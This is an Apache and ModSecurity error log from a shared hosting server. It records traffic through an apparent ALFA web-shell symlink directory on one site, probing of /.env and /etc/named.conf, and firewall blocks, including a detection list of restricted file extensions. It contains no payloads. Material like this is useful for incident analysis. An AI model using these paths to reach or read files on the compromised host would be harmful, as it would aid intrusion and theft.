[Sat Oct 24 10:46:35.546155 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.204:52694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/total_objects
[Sat Oct 24 10:46:42.142740 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.84.147.79:7327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:46:59.470327 2026] [security2:error] [pid 2653683:tid 2653683] [client 216.244.66.250:58500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/head"] [unique_id "atzE4767zmuaHuFajxGmIgAAAA4"]
[Sat Oct 24 10:46:59.470376 2026] [security2:error] [pid 2653683:tid 2653683] [client 216.244.66.250:58500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/head"] [unique_id "atzE4767zmuaHuFajxGmIgAAAA4"]
[Sat Oct 24 10:47:04.148871 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 85.208.96.200:22904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/sanity_checks
[Sat Oct 24 10:47:06.133552 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.147.238.89:15243] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:47:14.143584 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.162.69.192:24672] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:47:26.127118 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 54.85.109.140:57861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:47:26.819390 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.199:55590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/ctor
[Sat Oct 24 10:47:30.115667 2026] [ssl:error] [pid 2653681:tid 2653681] (5)Input/output error: [client 3.213.213.161:50857] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:47:38.137112 2026] [ssl:error] [pid 2635677:tid 2635677] (5)Input/output error: [client 34.205.170.13:43478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:47:40.717432 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.5:23962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-64/reclaim_account
[Sat Oct 24 10:47:42.133518 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 44.218.170.184:29850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:47:50.822385 2026] [security2:error] [pid 2653685:tid 2653685] [client 130.12.180.167:58598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzFFhII0LqKxSKREmy9AAAAABA"]
[Sat Oct 24 10:47:50.822680 2026] [security2:error] [pid 2653685:tid 2653685] [client 130.12.180.167:58598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzFFhII0LqKxSKREmy9AAAAABA"]
[Sat Oct 24 10:47:50.822963 2026] [security2:error] [pid 2653685:tid 2653685] [client 130.12.180.167:58598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzFFhII0LqKxSKREmy9AAAAABA"]
[Sat Oct 24 10:48:10.166442 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 52.204.81.148:21673] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:48:22.189401 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.25.120.246:48731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:48:26.154690 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.214.251.19:56574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:48:30.164419 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 35.174.141.243:24488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:48:32.933326 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.195:54924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/remote_node_defrag_ratio
[Sat Oct 24 10:48:34.167565 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.91.122.193:19930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:48:38.173814 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 100.29.107.38:64128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/ac/bind
[Sat Oct 24 10:48:53.010390 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.12:53486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/poison
[Sat Oct 24 10:48:54.152355 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.215.77.19:10983] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:02.347303 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 98.82.214.73:61679] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:06.131908 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.206.47.187:7361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:10.184113 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 44.213.36.21:57870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:10.184335 2026] [security2:error] [pid 2653681:tid 2653681] [client 44.213.36.21:57870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:14/sun"] [unique_id "atzFZmtLeddERpR-oKPrnwAAAAw"]
[Sat Oct 24 10:49:10.184371 2026] [security2:error] [pid 2653681:tid 2653681] [client 44.213.36.21:57870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:14/sun"] [unique_id "atzFZmtLeddERpR-oKPrnwAAAAw"]
[Sat Oct 24 10:49:14.191339 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.226.106.93:16803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:18.137597 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.6.97.88:42780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:34.146500 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 3.211.181.86:48079] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:48.024252 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 216.244.66.250:38130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/timer_list
[Sat Oct 24 10:49:54.148525 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.221.37.41:64241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:49:58.177422 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.213.70.100:62875] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:50:10.283431 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.227.180.70:22414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:50:18.174996 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.87.62.248:22399] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Sat Oct 24 10:50:26.170018 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.219.80.71:56681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:50:46.138691 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.205.213.231:34027] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:02.177098 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.0.63.151:6275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:10.432847 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.23.99.55:5726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:14.150870 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.83.94.113:54649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:18.294169 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 98.83.10.183:60529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:26.145887 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 35.171.117.160:6951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/remove_id
[Sat Oct 24 10:51:30.095014 2026] [core:crit] [pid 2653819:tid 2653819] (13)Permission denied: [client 139.162.88.198:59252] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:51:30.128532 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.196.6.199:52612] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:34.149768 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 54.157.99.244:45920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:11/eject
[Sat Oct 24 10:51:38.172404 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.226.34.98:38531] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:42.175316 2026] [ssl:error] [pid 2653688:tid 2653688] (5)Input/output error: [client 52.2.191.202:57390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:46.172036 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.84.161.62:12789] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:51:54.438467 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 54.197.82.195:11818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/ac/unbind
[Sat Oct 24 10:52:02.147567 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.215.112.101:42076] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:52:22.207838 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.45.77.169:25325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:52:34.160671 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.231.45.47:47532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:52:34.982080 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 85.208.96.207:15182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/slab_size
[Sat Oct 24 10:52:50.254086 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 50.16.248.61:43354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:01/subsystem/devices/device:0a/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 10:53:02.134396 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 35.169.119.108:57720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:53:18.160703 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.166.104.83:61289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:53:26.297668 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 18.232.11.247:17443] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/shpchp/remove_id
[Sat Oct 24 10:53:30.136023 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.144.185.255:15553] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:53:34.342616 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 54.89.90.224:2082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/10/module/uevent
[Sat Oct 24 10:53:42.220926 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 107.20.224.184:61817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:10/eject
[Sat Oct 24 10:53:46.451604 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.19:40518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/slabs_cpu_partial
[Sat Oct 24 10:53:58.234142 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.196.118.6:24986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:54:06.154266 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.221.105.234:26846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:54:10.120169 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 34.206.212.24:56037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/0000:00:04.0/resource4
[Sat Oct 24 10:54:18.132486 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 34.236.41.241:55566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/resource4
[Sat Oct 24 10:54:26.293728 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.192.67.98:15772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:54:30.266356 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.6.232.201:27579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:54:46.420897 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.3.102.51:34599] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:55:10.307494 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.222.85.38:59754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:55:26.142561 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.217.171.106:38478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:55:42.129096 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 18.215.49.176:47342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:55:46.168518 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 54.83.56.1:7977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/crash_notes_size
[Sat Oct 24 10:55:50.166594 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.211.39.188:60855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:55:51.240582 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.209:50128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_async_pf/slabs
[Sat Oct 24 10:55:54.136033 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.73.6.26:1535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:55:55.350133 2026] [security2:error] [pid 2653819:tid 2653819] [client 170.106.148.137:51094] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "atzG-9FqpkZ9T6kfBCn-8wAAAAA"]
[Sat Oct 24 10:55:56.172829 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.15:13270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/reclaim_account
[Sat Oct 24 10:56:07.776340 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.200:30578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/cache_dma
[Sat Oct 24 10:56:10.280391 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.212.131.50:56294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:56:12.758935 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.9:55918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/slabs
[Sat Oct 24 10:56:22.147001 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 23.21.175.228:58246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:56:30.145466 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.204.89.12:32485] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:56:33.817510 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 85.208.96.209:47910] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:56:46.278984 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.225.87.80:47732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:56:52.705709 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.6:59420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/objects_partial
[Sat Oct 24 10:56:54.152992 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.167.32.123:49473] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:57:02.145412 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.21.227.240:59700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:57:10.165163 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.225.243.131:6532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:57:38.217268 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 54.221.203.24:22560] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:57:45.651383 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.5:51432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/align
[Sat Oct 24 10:57:48.447806 2026] [security2:error] [pid 2635677:tid 2635677] [client 16.216.88.127:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "atzHbIWurp-t0SwAQgRqywAAAAQ"]
[Sat Oct 24 10:57:48.448269 2026] [security2:error] [pid 2635677:tid 2635677] [client 16.216.88.127:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "atzHbIWurp-t0SwAQgRqywAAAAQ"]
[Sat Oct 24 10:57:48.448589 2026] [security2:error] [pid 2635677:tid 2635677] [client 16.216.88.127:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "atzHbIWurp-t0SwAQgRqywAAAAQ"]
[Sat Oct 24 10:57:58.158913 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 100.28.118.16:63703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:58:18.223492 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 34.225.243.131:8147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/wakeup/wakeup2/device/physical_node/driver/0000:00:01.3/driver/module/sections/__mcount_loc
[Sat Oct 24 10:58:26.135808 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.223.115.10:1564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:58:27.192800 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 85.208.96.203:31468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/align
[Sat Oct 24 10:58:48.757818 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 185.191.171.13:20860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/align
[Sat Oct 24 10:58:50.135828 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.156.124.2:62544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:58:50.136100 2026] [security2:error] [pid 2653819:tid 2653819] [client 54.156.124.2:62544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/tty15/power/runtime_suspended_time"] [unique_id "atzHqtFqpkZ9T6kfBCn--QAAAAA"]
[Sat Oct 24 10:58:50.136134 2026] [security2:error] [pid 2653819:tid 2653819] [client 54.156.124.2:62544] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/tty15/power/runtime_suspended_time"] [unique_id "atzHqtFqpkZ9T6kfBCn--QAAAAA"]
[Sat Oct 24 10:58:54.181329 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.208:62580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/remote_node_defrag_ratio
[Sat Oct 24 10:58:58.123162 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 54.84.161.62:62006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:59:06.229341 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.206.249.188:61590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:59:10.156635 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 44.209.89.189:4444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0f/eject
[Sat Oct 24 10:59:22.153931 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.71.216.196:41502] AH02013: coalesce failed to read from data bucket
